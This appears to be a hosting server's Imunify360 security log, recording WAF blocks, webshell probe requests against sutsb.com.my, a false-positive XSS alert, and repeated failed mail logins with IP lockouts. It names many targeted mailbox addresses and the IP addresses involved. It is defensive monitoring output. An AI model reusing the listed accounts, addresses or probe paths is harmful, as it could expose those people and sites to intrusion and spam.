domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/font-awesome.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.152.154.140
country_id: 3469034
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/?page_id=5 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.243
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/custom.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.222
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/bootstrap.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.161
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/style.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.205
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/animate.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.180
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/plugins/revolution/css/navigation.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.183
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/slick.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/owl.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.204
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/indfinitydesign.com/css/jquery-ui.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.199
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/font-awesome.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.214
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/css/owl.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.247
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.indfinitydesign.com/fonts/fontawesome-webfont914c.woff2?v=4.6.1 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.125.71.255
country_id: 3469034
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/gallery.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.0.119.182
country_id: 3469034
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/product-details-acp.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.166.206.16
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=942320 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.185.158.200
country_id: 953987
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/certificate.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.221.50.37
country_id: 953987
description:
Jan 13 18:52:46 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.221.50.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.188
country_id: 3469034
description:
Jan 13 18:53:19 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.23
country_id: 2750405
description:
Jan 13 18:54:53 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.24
country_id: 2750405
description:
Jan 13 18:54:54 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.16
country_id: 2750405
description:
Jan 13 18:54:54 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.16 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.13
country_id: 2750405
description:
Jan 13 18:54:55 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.92
country_id: 690791
description:
2026-01-13 18:54:18 H=([77.83.39.92]) [77.83.39.92]:50697 F=<MeshalAbdulwhab@outlook.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 77.83.39.92 is not allowed to send mail from outlook.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.12
country_id: 2750405
description:
Jan 13 18:54:53 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.15
country_id: 2750405
description:
Jan 13 18:54:53 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.20
country_id: 2750405
description:
Jan 13 18:54:54 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.20 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.17
country_id: 2750405
description:
Jan 13 18:54:54 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.19
country_id: 2750405
description:
Jan 13 18:54:53 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.21
country_id: 2750405
description:
Jan 13 18:54:54 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.154
country_id: 3865483
description:
Jan 13 18:56:33 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.154 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.88.112
country_id: 3469034
description:
Jan 13 18:58:09 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.88.112 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.39.187.37
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=23 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.186
country_id: 3175395
description:
Jan 13 19:02:45 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.2
country_id: 732800
description:
Jan 13 19:03:04 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.2
country_id: 732800
description:
Jan 13 19:03:11 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 128.106.168.241
country_id: 1880251
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul style=\"margin-top: 0in;\" type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">update report for export &amp; import schedule (new order &amp; update existing order).&nbsp;</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up final bl from tvs for sejoong order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up final coo from kk for sejoong order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up cargo pictures from scf for hkjc order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send shipping documents to hkjc.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send shipping documents to sejoong.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send pre alert import docs to hk awards.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up draft docs from whitby.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send weekly report to hkjc.</span></li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.65.63.157
country_id: 2542007
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=975825 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.170.251.33
country_id: 2017370
description:
2026-01-13 19:07:24 dovecot_login authenticator failed for H=(178.170.251.33.leadertelecom.ru) [178.170.251.33]:50874: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.125.52.158
country_id: 2510769
description:
Jan 13 19:07:57 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.125.52.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.228.10.193
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/services.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.170.251.33
country_id: 2017370
description:
Jan 13 19:07:22 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.170.251.33 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.88.10.10
country_id: 2328926
description:
2026-01-13 19:08:39 dovecot_login authenticator failed for H=([102.88.10.10]) [102.88.10.10]:47512: 535 Incorrect authentication data (set_id=kimmarkpurchase@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.70.134
country_id: 1819730
description:
Jan 13 19:08:17 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.70.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.70.134
country_id: 1819730
description:
2026-01-13 19:08:19 dovecot_login authenticator failed for H=42-200-70-134.static.imsbiz.com [42.200.70.134]:58282: 535 Incorrect authentication data (set_id=serene.chin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.88.10.10
country_id: 2328926
description:
Jan 13 19:08:37 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.88.10.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.32.22.218
country_id: 290557
description:
Jan 13 19:08:45 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.32.22.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.22.218
country_id: 290557
description:
2026-01-13 19:08:47 dovecot_login authenticator failed for H=([5.32.22.218]) [5.32.22.218]:48468: 535 Incorrect authentication data (set_id=kimmarkpurchase@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.125.52.158
country_id: 2510769
description:
Jan 13 19:08:10 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.125.52.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.187
country_id: 1814991
description:
Jan 13 19:09:22 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-01-13 19:09:24 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:26012: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.187
country_id: 1814991
description:
2026-01-13 19:10:32 dovecot_login authenticator failed for H=([111.61.177.187]) [111.61.177.187]:32828: 535 Incorrect authentication data (set_id=chew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 19:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60430: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.187
country_id: 1814991
description:
Jan 13 19:10:30 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 19:11:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:60430: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.208.81.125
country_id: 6252001
description:
Jan 13 19:13:53 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.208.81.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.32.22.218
country_id: 290557
description:
Jan 13 19:13:37 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.32.22.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.22.218
country_id: 290557
description:
2026-01-13 19:13:39 dovecot_login authenticator failed for H=([5.32.22.218]) [5.32.22.218]:40640: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.85.144
country_id: 1269750
description:
2026-01-13 19:13:50 dovecot_login authenticator failed for H=(abts-north-static-144.85.160.122.airtelbroadband.in) [122.160.85.144]:43037: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.85.144
country_id: 1269750
description:
Jan 13 19:13:48 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.85.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.208.81.125
country_id: 6252001
description:
2026-01-13 19:13:55 dovecot_plain authenticator failed for H=c-73-208-81-125.hsd1.in.comcast.net (excle) [73.208.81.125]:60962: 535 Incorrect authentication data (set_id=fazrul.fahmee@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 19:14:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57956: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 19:14:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57956: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 185.247.137.184
country_id: 2635167
description:
Jan 13 19:14:19 sv3 pure-ftpd[933833]: (?@185.247.137.184) [INFO] New connection from 185.247.137.184


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.68.6
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=126580 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 93.183.93.32
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-14.93.183.93.32||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.20.253.20
country_id: 1643084
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=7&sub=42 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 136.169.236.55
country_id: 2017370
domain: tst-ma.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:19-17.136.169.236.55||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.144.246.95
country_id: 798544
description:
Jan 13 19:19:06 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.144.246.95 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.65.25.160
country_id: 3932488
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=940563 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 86.111.91.69
country_id: 690791
description:
Jan 13 19:18:38 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 86.111.91.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.111.91.69
country_id: 690791
description:
2026-01-13 19:18:40 dovecot_login authenticator failed for H=host-86-111-91-69.566f.la.net.ua [86.111.91.69]:54225: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.210.57
country_id: 798544
description:
Jan 13 19:18:53 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.246.210.57 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.144.246.95
country_id: 798544
description:
Jan 13 19:19:13 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.144.246.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.9
country_id: 1269750
description:
Jan 13 19:19:25 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.7.187.138
country_id: 3469034
description:
Jan 13 19:20:40 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.7.187.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.208.81.125
country_id: 6252001
description:
Jan 13 19:20:24 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.208.81.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.208.81.125
country_id: 6252001
description:
2026-01-13 19:20:26 dovecot_plain authenticator failed for H=c-73-208-81-125.hsd1.in.comcast.net (piantrion) [73.208.81.125]:33936: 535 Incorrect authentication data (set_id=info@kimmark.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 158.62.211.15
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:19-21.158.62.211.15||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.41
country_id: 3175395
description:
Jan 13 19:21:11 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.227
country_id: 3865483
description:
Jan 13 19:21:11 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.36
country_id: 798544
description:
Jan 13 19:24:00 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/news.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.36
country_id: 798544
description:
Jan 13 19:24:13 sv3 auth[739871]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.36 has been locked due to Imunify RBL


